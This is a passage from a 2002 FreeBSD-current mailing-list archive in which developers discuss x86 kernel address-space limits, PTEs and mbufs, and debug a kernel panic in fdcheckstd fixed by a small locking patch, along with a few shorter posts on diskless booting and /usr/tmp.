([209.179.192.30] helo=mindspring.com) by snipe.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 16zaBg-0001Gn-00; Mon, 22 Apr 2002 02:32:44 -0700 Message-ID: <3CC3D8A0.3981857A@mindspring.com> Date: Mon, 22 Apr 2002 02:32:16 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Marc G. Fournier" Cc: freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <20020421201025.C1721-100000@mail1.hub.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Marc G. Fournier" wrote: > > No, there's no stats collected on this stuff, because it's a > > pretty obvious and straight-forward thing: you have to have a > > KVA space large enough that, once you subtract out 4K for each > > 4M of physical memory and swap (max 4G total for both), you > > end up with memory left over for the kernel to use, and your > > limits are such that the you don't run out of PTEs before you > > run out of mbufs (or whatever you plan on allocating). > > ... and translated to english, this means? :) > > Okay, I'm going to assume that I'm allowed 4Gig of RAM + 4Gig of Swap, for > a total of 8Gig ... so, if I subtract out 4K for each 4M, that is 8M for > ... what? > > So, I've theoretically got 8184M of VM available for the kernel to use > right now? what are PTEs and how do I know how many I have right now? as > for mbufs, I've currently got: No. Each 4M of physical memory takes 4K of statically allocated KVA. Each 4M of backing store takes 4K of statically allocated KVA. The definition of "backing store" includes: o All dirty data pages in swap o All dirty code pages in swap o All clean data pages in files mapped into process or kernel address space o All clean code pages for executables mapped into process or kernel address space o Reserved mappings for copy-on-write pages that haven't yet been written A PTE is a "page table entry". It's the 32 bit value in the page table for each address space (one for the kernel, one per process). See the books I posted the titles of for more details, or read the Intel processor PDF's from their developer web site. > jupiter> netstat -m > 173/1664/61440 mbufs in use (current/peak/max): > 77 mbufs allocated to data > 96 mbufs allocated to packet headers > 71/932/15360 mbuf clusters in use (current/peak/max) > 2280 Kbytes allocated to network (4% of mb_map in use) > 0 requests for memory denied > 0 requests for memory delayed > 0 calls to protocol drain routines > > So how do I find out where my PTEs are sitting at? The mbufs are only important because most people allocate a large number of mbufs up front for networking applications, or for alrge numbers of users with network applications that will need resources in order to be able to actually run. There's also protocol control blocks and other allocation that occur up front, based on the maximum number of system open files and sockets you intend to permit. The user space stuff is generally a lot easier to calculate: do a "ps -gaxl", round each entry in the "VSZ" column up to 4M, divide by 4K, and that tells you how many 4K units you have allocated for user space. For kernel space, the answer is that there are some allocated at boot time, (120M worth), and then the kernel map is grown, as necessary, until it hits the KVA space limit. If you plan on using up every byte, then divide your total KVA space by 4K to get the number of 4K pages allocated there. For the kernel stuff... you basically need to know where the kernel puts how much memory, based on the tuning parameters you use on it. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 2:47:12 2002 Delivered-To: freebsd-current@freebsd.org Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (Postfix) with ESMTP id 4184337B42F for ; Mon, 22 Apr 2002 02:47:06 -0700 (PDT) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by cs.huji.ac.il with esmtp (Exim 3.35 #2) id 16zYRI-0006je-00 for current@FreeBSD.ORG; Mon, 22 Apr 2002 10:40:44 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: "Freebsd Current" Subject: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 22 Apr 2002 10:40:44 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Haven't tried all the new stuff, but i've installed it on several different hosts and so far have had no real problems, good work!! Since im very interested in diskless/dataless, and i've been at it for some time now, i made some changes to libstand/bootp.c and /etc/rc.diskless1 which i wouldn't mind receiving commnets/suggestions, and if possible incorporated. the stuff is in: ftp://ftp.cs.huji.ac.il/users/danny/freebsd/diskless-boot/ danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 3: 1:14 2002 Delivered-To: freebsd-current@freebsd.org Received: from ady.warpnet.ro (ady.warpnet.ro [217.156.25.2]) by hub.freebsd.org (Postfix) with ESMTP id C0A6837B422 for ; Mon, 22 Apr 2002 03:01:06 -0700 (PDT) Received: from localhost (ady@localhost) by ady.warpnet.ro (8.9.3/8.9.3) with ESMTP id MAA60522; Mon, 22 Apr 2002 12:27:51 +0300 (EEST) (envelope-from ady@freebsd.ady.ro) X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: ady.warpnet.ro Date: Mon, 22 Apr 2002 12:27:50 +0300 (EEST) From: Adrian Penisoara X-Sender: ady@ady.warpnet.ro To: Kris Kennaway Cc: freebsd-current@FreeBSD.ORG Subject: Re: panic:bremfree with today's current and linux-netscape In-Reply-To: <20020421153306.A21894@xor.obsecurity.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, On Sun, 21 Apr 2002, Kris Kennaway wrote: > On Sun, Apr 21, 2002 at 05:22:20PM +0300, Adrian Penisoara wrote: > > > Panicstring: bremfree: bp 0xc77fb678 not locked > > This isn't the real panic, it's a second panic caused by trying to > sync disks. D'oh... I hope the gdb trace left more marks. > > > How-to-repeat: launch linux-netscape while in X11 > > Are you absolutely sure all kernel modules are up to date? A > sure-fire way to cause panics with linux applications is to use an > out of date linux.ko. Isn't linux.ko supposed to be rebuilt every time the kernel is recompiled ? All kernel builds I do are done together w/ the modules. Or maybe the linux_base port has some code running in kernel (most certainly not) ? Anyway, the strange thing is that now, compiled with ALTQ support, the kernel doesn't panic anymore. Time to sratch the dust back in the old corners... Ady (@freebsd.ady.ro) _______________________________________________________________________ | Programming in BASIC causes brain damage. | | (Edsger Wybe Dijkstra) | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 5: 0:22 2002 Delivered-To: freebsd-current@freebsd.org Received: from soulshock.mail.pas.earthlink.net (soulshock.mail.pas.earthlink.net [207.217.120.130]) by hub.freebsd.org (Postfix) with ESMTP id D440237B430; Mon, 22 Apr 2002 05:00:05 -0700 (PDT) Received: from snipe.prod.itd.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by soulshock.mail.pas.earthlink.net (8.11.6+Sun/8.11.6) with ESMTP id g3M9Fqw27585; Mon, 22 Apr 2002 02:15:52 -0700 (PDT) Received: from pool0030.cvx21-bradley.dialup.earthlink.net ([209.179.192.30] helo=mindspring.com) by snipe.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 16zZuy-0006r1-00; Mon, 22 Apr 2002 02:15:28 -0700 Message-ID: <3CC3D494.649C2A8E@mindspring.com> Date: Mon, 22 Apr 2002 02:15:00 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Marc G. Fournier" Cc: freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <20020421191440.J1721-100000@mail1.hub.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Marc G. Fournier" wrote: > On Sun, 21 Apr 2002, Terry Lambert wrote: > > No, there's no stats collected on this stuff, because it's a pretty > > obvious and straight-forward thing: you have to have a KVA space large > > enough that, once you subtract out 4K for each 4M of physical memory and > > swap (max 4G total for both), you end up with memory left over for the > > kernel to use, and your limits are such that the you don't run out of > > PTEs before you run out of mbufs (or whatever you plan on allocating). > > God, I'm glad its straightforwards :) > > Okay, first off, you say "(max 4G total for both)" ... do you max *total* > between the two, or phy can be 4g *plus* swap can be 4g for a total of 8g? You aren't going to be able to exceed 4G, no matter what you do, because that's the limit of your address space. If you want more, then you need to use a 64 bit processor (or use a processor that supports bank selection, and hack up FreeBSD to do bank swapping on 2G at a time, just like Linux has been hacked up, and expect that it won't be very useful). If you are swapping, you are demand paging. The way demand paging works is that you reference a page that has been swapped out, or for which physical memory backing store has not been addigned. When you make this reference, you get a page not present fault (a trap 12). The trap handler puts the faulting process to sleep, and then starts the process of pulling the page in from backing store (if it's not a create-on-reference), which, among other things, locates a physical page to contain the copy of the data pulled in from the backing store (or zero'ed out of physical memoy, if it's an unbacked page, e.g. non-swappable, or swappable, but for which swap has not yet been allocated, because it's the first use). Only certain types of kernel memory are swappable -- mostly kernel memory that's allocated on a per process basis. Kernel swapping really does you no good, if you have a fully populated physical memory in the virtual address space, since there's only one kernel virtual address space (SMP reserves a little bit of per processor memory, but the amount is tiny: one page descriptor's worth: 4M); after a certain point, your KVA is committed, and it's a mistake to have it compete in the same LRU domain as processes. You can't really avoid that, for the most part, since there's a shared TLB cache that you really don't have opportunity to manage, other than by seperating 4M vs. 4K pages (and 2M, etc., for the Pentium Pro, though variable page granularity is not supported in FreeBSD, since it's not common to most hardware people actually have). > For instance, right now, I have 3Gig of physical and ~3gig of swap > allocated ... Each process maintains its own virtual address space. Almost all of a process virtual address space is swappable. So if you are swapping, it's going to be process address space: UVA, not KVA. If you increase the KVA, then you will decrease the UVA available to user processes. The total of the two can not exceed 4G. With 4G of physical memory, then 3G of KVA is practically a requirement, particularly if you intend to use the additional memory for kernel data (you will have to, for PDE's: you have no choice). For 3G, it's ~2.5G KVA minimally required. Personally, I'd just put it at 3G, and live with it, so you can throw in RAM to your limit later, when you decide you need to throw RAM at some problem or other. If you can't afford for the UVA to be as small as 1G, then you are going to have to make some hard decisions on the amount of physical RAM you put in the machine. It's not really that bad: for 3G of KVA, you need 3M for PDE's. The problem comes when they are exhausted because of the amount of PDE's you have lying around to describe UVA pages that are swapped out for various processes, and for kernel memory requirements that go way up when you crank up the kernel's ability to handle load (e.g. for network equipment, I generally take half of physical memory for mbufs, mostly because that's around the limit of what I can take, and have anything left over). That you are using System V shared memory segments is *REALLY* going to hurt you; each of these shared memory segment comes out of the KVA, so using shared memory segments with the shm*() calls, rather than using mmap()'ed files as backing store, can eat huge chunks of KVA, as well as fragmenting the KVA, particularly over time. For more details on paged memory management on x86, see: Protected Mode Software Architecture and: The Indispensible PC Hardware Book You might also want to find a book on bootstrapping protected mode operating systems (actually, I have yet to find a very good one, so post about it, if you find one). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 6:13:32 2002 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id BF35037B42F for ; Mon, 22 Apr 2002 06:13:28 -0700 (PDT) Received: by flood.ping.uio.no (Postfix, from userid 2602) id 2E53D530B; Mon, 22 Apr 2002 14:07:51 +0200 (CEST) X-URL: http://www.ofug.org/~des/ X-Disclaimer: The views expressed in this message do not necessarily coincide with those of any organisation or company with which I am or have been affiliated. To: Bill Fenner Cc: current@FreeBSD.ORG Subject: Re: PAM & OpenSSH: two incorrect "last login" References: <20020420011633.GA66468@nagual.pp.ru> <200204212015.NAA06317@windsor.research.att.com> <200204220822.BAA11918@windsor.research.att.com> From: Dag-Erling Smorgrav Date: 22 Apr 2002 14:07:50 +0200 In-Reply-To: <200204220822.BAA11918@windsor.research.att.com> Message-ID: Lines: 10 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Bill Fenner writes: > You could either pretend that yflag was not set (what ache was > suggesting) or set yflag if the year of the last login was not > this year (possibly more useful). ...or always print the year. Does anybody have any patches? :) DES -- Dag-Erling Smorgrav - des@ofug.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 6:20:43 2002 Delivered-To: freebsd-current@freebsd.org Received: from HAL9000.wox.org (12-232-222-90.client.attbi.com [12.232.222.90]) by hub.freebsd.org (Postfix) with ESMTP id 69ED037B405; Mon, 22 Apr 2002 06:20:36 -0700 (PDT) Received: (from das@localhost) by HAL9000.wox.org (8.11.6/8.11.6) id g3MD9qB32382; Mon, 22 Apr 2002 06:09:52 -0700 (PDT) (envelope-from das) Date: Mon, 22 Apr 2002 06:09:52 -0700 From: David Schultz To: Terry Lambert Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020422060952.B31888@HAL9000.wox.org> Mail-Followup-To: Terry Lambert , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG References: <20020421191440.J1721-100000@mail1.hub.org> <3CC3D494.649C2A8E@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3CC3D494.649C2A8E@mindspring.com>; from tlambert2@mindspring.com on Mon, Apr 22, 2002 at 02:15:00AM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thus spake Terry Lambert : > If you want more, then you need to use a 64 bit processor (or use a > processor that supports bank selection, and hack up FreeBSD to do > bank swapping on 2G at a time, just like Linux has been hacked up, > and expect that it won't be very useful). I'm guessing that this just means looking at more than 4 GB of memory by working with 2 GB frames at a time. As I recall, David Greenman said that this hack would essentially require a rewrite of the VM system. Does this just boil down to using 36 bit physical addresses? Are there plans for FreeBSD to support it, or is everyone just waiting until 64 bit processors become more common? > You can't > really avoid that, for the most part, since there's a shared TLB > cache that you really don't have opportunity to manage, other than > by seperating 4M vs. 4K pages (and 2M, etc., for the Pentium Pro, > though variable page granularity is not supported in FreeBSD, since > it's not common to most hardware people actually have). Does FreeBSD use 4M pages exclusively for kernel memory, as in Solaris, or is there a more complicated scheme? > If you increase the KVA, then you will decrease the UVA available to > user processes. The total of the two can not exceed 4G. In Linux, all of physical memory is mapped into the kernel's virtual address space, and hence, until recently Linux was limited to ~3 GB of physical memory. FreeBSD, as I understand, doesn't do that. So is the cause of this limitation that the top half of the kernel has to share a virtual address space with user processes? I'll have to read those books one of these days when I have time(6). Thanks for the info. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 6:41:16 2002 Delivered-To: freebsd-current@freebsd.org Received: from white.imgsrc.co.jp (ns.imgsrc.co.jp [210.226.20.2]) by hub.freebsd.org (Postfix) with ESMTP id 83D6C37B400; Mon, 22 Apr 2002 06:41:07 -0700 (PDT) Received: from black.imgsrc.co.jp (black.imgsrc.co.jp [2001:218:422:2::130]) by white.imgsrc.co.jp (Postfix) with ESMTP id A462B24D1C; Mon, 22 Apr 2002 22:36:48 +0900 (JST) Received: from waterblue.imgsrc.co.jp (waterblue.imgsrc.co.jp [2001:218:422:2::160]) by black.imgsrc.co.jp (Postfix) with ESMTP id A7CCF1E46F6; Mon, 22 Apr 2002 22:36:45 +0900 (JST) Date: Mon, 22 Apr 2002 22:35:49 +0900 Message-ID: <7m8z7fzwi2.wl@waterblue.imgsrc.co.jp> From: Jun Kuriyama To: "Jacques A. Vidrine" , Current Subject: Re: lock order reversal and panic in kern_descrip.c In-Reply-To: <20020422123239.GL68403@madman.nectar.cc> References: <7mpu0szcti.wl@waterblue.imgsrc.co.jp> <20020422123239.GL68403@madman.nectar.cc> User-Agent: Wanderlust/2.9.7 (Unchained Melody) SEMI/1.14.3 (Ushinoya) FLIM/1.14.3 (=?ISO-8859-4?Q?Unebigory=F2mae?=) APEL/10.3 Emacs/21.1 (i386--freebsd) MULE/5.0 (=?ISO-2022-JP?B?GyRCOC1MWhsoQg==?=) MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At Mon, 22 Apr 2002 07:32:39 -0500, Jacques A. Vidrine wrote: > Does it happen every time? I cannot reproduce it. Yes. > What is odd is that fdcheckstd() is only called when exec'ing a > set[ug]id executable -- any idea what set[ug]id program is being > exec'd here? I have no idea about this. I'm portupgrade'ing linux_base, linux-netscape-* port and I'll try this again. > > #14 0xc019d01b in fdcheckstd (td=0xe7f8ed50) > > at ../../../kern/kern_descrip.c:1532 > > #15 0xc01a04e2 in execve (td=0xe7f8ed50, uap=0xe805bcdc) > > at ../../../kern/kern_exec.c:372 > > My -CURRENT is a few days old. I'll see if updating allows me to > reproduce the problem. A kern_descrip.c is updated by tanimura after your r1.137. Could you try with r1.138? -- Jun Kuriyama // IMG SRC, Inc. // FreeBSD Project To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 6:41:22 2002 Delivered-To: freebsd-current@freebsd.org Received: from gw.nectar.cc (gw.nectar.cc [208.42.49.153]) by hub.freebsd.org (Postfix) with ESMTP id 9D38637B423 for ; Mon, 22 Apr 2002 06:41:15 -0700 (PDT) Received: from madman.nectar.cc (madman.nectar.cc [10.0.1.111]) by gw.nectar.cc (Postfix) with ESMTP id 67DA743; Mon, 22 Apr 2002 07:32:43 -0500 (CDT) Received: from madman.nectar.cc (localhost [IPv6:::1]) by madman.nectar.cc (8.12.2/8.11.6) with ESMTP id g3MCWhVw068694; Mon, 22 Apr 2002 07:32:43 -0500 (CDT) (envelope-from nectar@madman.nectar.cc) Received: (from nectar@localhost) by madman.nectar.cc (8.12.2/8.12.2/Submit) id g3MCWdtr068693; Mon, 22 Apr 2002 07:32:39 -0500 (CDT) Date: Mon, 22 Apr 2002 07:32:39 -0500 From: "Jacques A. Vidrine" To: Jun Kuriyama Cc: Current Subject: Re: lock order reversal and panic in kern_descrip.c Message-ID: <20020422123239.GL68403@madman.nectar.cc> Mail-Followup-To: "Jacques A. Vidrine" , Jun Kuriyama , Current References: <7mpu0szcti.wl@waterblue.imgsrc.co.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <7mpu0szcti.wl@waterblue.imgsrc.co.jp> User-Agent: Mutt/1.3.28i X-Url: http://www.nectar.cc/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Apr 22, 2002 at 11:28:41AM +0900, Jun Kuriyama wrote: > > Today's -current kernel. This happend when I invoke linux-netscape. Does it happen every time? I cannot reproduce it. What is odd is that fdcheckstd() is only called when exec'ing a set[ug]id executable -- any idea what set[ug]id program is being exec'd here? > #14 0xc019d01b in fdcheckstd (td=0xe7f8ed50) > at ../../../kern/kern_descrip.c:1532 > #15 0xc01a04e2 in execve (td=0xe7f8ed50, uap=0xe805bcdc) > at ../../../kern/kern_exec.c:372 My -CURRENT is a few days old. I'll see if updating allows me to reproduce the problem. Cheers, -- Jacques A. Vidrine http://www.nectar.cc/ NTT/Verio SME . FreeBSD UNIX . Heimdal Kerberos jvidrine@verio.net . nectar@FreeBSD.org . nectar@kth.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 7:35:38 2002 Delivered-To: freebsd-current@freebsd.org Received: from smtp.ixpres.com (smtp.ixpres.com [216.240.160.50]) by hub.freebsd.org (Postfix) with ESMTP id 5A72637B41F; Mon, 22 Apr 2002 07:35:33 -0700 (PDT) Received: from VIZION2000 (66-81-18-103-modem.o1.com [66.81.18.103]) by smtp.ixpres.com (8.9.3/8.9.3) with SMTP id HAA02964; Mon, 22 Apr 2002 07:32:40 -0700 (PDT) (envelope-from vizion@ixpres.com) Message-ID: <008001c1ea08$872b62d0$9865fea9@VIZION2000> From: " Vizion Communication" To: "David Schultz" , "Terry Lambert" Cc: , References: <20020421191440.J1721-100000@mail1.hub.org> <3CC3D494.649C2A8E@mindspring.com> <20020422060952.B31888@HAL9000.wox.org> Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Date: Mon, 22 Apr 2002 07:18:06 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Test - Please ignore ----- Original Message -----=20 From: "David Schultz" To: "Terry Lambert" Cc: ; Sent: Monday, April 22, 2002 6:09 AM Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... = ? > Thus spake Terry Lambert : > > If you want more, then you need to use a 64 bit processor (or use a > > processor that supports bank selection, and hack up FreeBSD to do > > bank swapping on 2G at a time, just like Linux has been hacked up, > > and expect that it won't be very useful). >=20 > I'm guessing that this just means looking at more than 4 GB of memory > by working with 2 GB frames at a time. As I recall, David Greenman > said that this hack would essentially require a rewrite of the VM > system. Does this just boil down to using 36 bit physical addresses? > Are there plans for FreeBSD to support it, or is everyone just waiting > until 64 bit processors become more common? >=20 > > You can't > > really avoid that, for the most part, since there's a shared TLB > > cache that you really don't have opportunity to manage, other than > > by seperating 4M vs. 4K pages (and 2M, etc., for the Pentium Pro, > > though variable page granularity is not supported in FreeBSD, since > > it's not common to most hardware people actually have). >=20 > Does FreeBSD use 4M pages exclusively for kernel memory, as in > Solaris, or is there a more complicated scheme? >=20 > > If you increase the KVA, then you will decrease the UVA available to > > user processes. The total of the two can not exceed 4G. >=20 > In Linux, all of physical memory is mapped into the kernel's virtual > address space, and hence, until recently Linux was limited to ~3 GB of > physical memory. FreeBSD, as I understand, doesn't do that. So is > the cause of this limitation that the top half of the kernel has to > share a virtual address space with user processes? >=20 > I'll have to read those books one of these days when I have time(6). > Thanks for the info. >=20 > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 8:47:43 2002 Delivered-To: freebsd-current@freebsd.org Received: from ady.warpnet.ro (ady.warpnet.ro [217.156.25.2]) by hub.freebsd.org (Postfix) with ESMTP id 9252537B47D for ; Mon, 22 Apr 2002 08:46:03 -0700 (PDT) Received: from localhost (ady@localhost) by ady.warpnet.ro (8.9.3/8.9.3) with ESMTP id OAA71669; Mon, 22 Apr 2002 14:34:30 +0300 (EEST) (envelope-from ady@freebsd.ady.ro) X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: ady.warpnet.ro Date: Mon, 22 Apr 2002 14:34:29 +0300 (EEST) From: Adrian Penisoara X-Sender: ady@ady.warpnet.ro To: Maxim Konovalov Cc: freebsd-current@freebsd.org Subject: Re: panic:bremfree with today's current and linux-netscape In-Reply-To: <20020421210807.T76833-100000@news1.macomnet.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, YES, this patch fixed my problem! Thanks, Ady (@warpnet.ro) _______________________________________________________________________ | Programming in BASIC causes brain damage. | | (Edsger Wybe Dijkstra) | On Sun, 21 Apr 2002, Maxim Konovalov wrote: > > As Adrian Penisoara already reported > > http://docs.freebsd.org/cgi/getmsg.cgi?fetch=19645+0+current/freebsd-current > > there is panic in -current. I believe it is related to the next > commit: > > nectar 2002/04/18 17:45:29 PDT > > Modified files: > sys/kern kern_descrip.c kern_exec.c > sys/sys filedesc.h > Log: > When exec'ing a set[ug]id program, make sure that the stdio file descriptors > (0, 1, 2) are allocated by opening /dev/null for any which are not already > open. > > Reviewed by: alfred, phk > MFC after: 2 days > > Here is my workaround but I am not sure is it correct or not. Seems > falloc() takes care about locking itself. > > Index: src/sys/kern/kern_descrip.c > =================================================================== > RCS file: /home/ncvs/src/sys/kern/kern_descrip.c,v > retrieving revision 1.138 > diff -u -r1.138 kern_descrip.c > --- src/sys/kern/kern_descrip.c 20 Apr 2002 12:02:52 -0000 1.138 > +++ src/sys/kern/kern_descrip.c 21 Apr 2002 17:04:58 -0000 > @@ -1528,9 +1528,7 @@ > if (fdp->fd_ofiles[i] != NULL) > continue; > if (devnull < 0) { > - FILEDESC_LOCK(fdp); > error = falloc(td, &fp, &fd); > - FILEDESC_UNLOCK(fdp); > if (error != 0) > break; > NDINIT(&nd, LOOKUP, FOLLOW, UIO_SYSSPACE, "/dev/null", > > %%% > > -- > Maxim Konovalov, MAcomnet, Internet Dept., system engineer > phone: +7 (095) 796-9079, mailto:maxim@macomnet.ru > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 8:50:13 2002 Delivered-To: freebsd-current@freebsd.org Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (Postfix) with ESMTP id 599D837B417 for ; Mon, 22 Apr 2002 08:50:06 -0700 (PDT) Received: from pampa.cs.huji.ac.il ([132.65.80.32] ident=danny) by cs.huji.ac.il with esmtp (Exim 3.35 #2) id 16zfLJ-0001qe-00 for freebsd-current@FreeBSD.ORG; Mon, 22 Apr 2002 18:03:01 +0300 X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: freebsd-current@FreeBSD.ORG Subject: /usr/tmp Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 22 Apr 2002 18:03:01 +0300 From: Danny Braniss Message-Id: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG in FreeBSD 5.0 DP1 there is /usr/tmp 2 drwxrwxrwt 2 root wheel 512 Apr 11 12:37 /usr/tmp/ any particular reason for this directory? I'm asking because i like to keep / and /usr read only, and /tmp is linked to /usr/var/tmp which is writable. danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 12:59:42 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 87FD037B42A; Mon, 22 Apr 2002 12:59:17 -0700 (PDT) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id XAA18343; Mon, 22 Apr 2002 23:19:49 +1000 Date: Mon, 22 Apr 2002 23:20:42 +1000 (EST) From: Bruce Evans X-X-Sender: bde@gamplex.bde.org To: "Jacques A. Vidrine" Cc: alfred@FreeBSD.org, , Maxim Konovalov , , Adrian Penisoara Subject: Re: panic:bremfree with today's current and linux-netscape In-Reply-To: <20020422120247.GD68403@madman.nectar.cc> Message-ID: <20020422231049.V8742-100000@gamplex.bde.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 22 Apr 2002, Jacques A. Vidrine wrote: > On Mon, Apr 22, 2002 at 06:25:17PM +1000, Bruce Evans wrote: > > I use the same patch. Locking here is essentially equivalent to calling > > panic() here (except it gives a more confusing panic message :-). > > :-) That's a bit of an overstatement; my testing didn't catch it. I Yes; I forgot to write the clause about it only being equivalent to a panic if certain options (mainly INVARIANTS) are configured. > do see that falloc does lock the file descriptor table too, though --- > I wonder how it ever worked. INVARIANTS causes a check of an assertion that non-recursive locks like fd_mtx aren't actually misused recursively. The check causes more panics than the misuse since the misuse is rarely fatal. I may be missing something since I rarely use INVARIANTS and haven't checked that it causes the panic deterministically. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Apr 22 13: 0:36 2002 Delivered-To: freebsd-current@freebsd.org Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by hub.freebsd.org (Postfix) with ESMTP id 5374A37B484; Mon, 22 Apr 2002 12:59:52 -0700 (PDT) Received: from localhost.localdomain 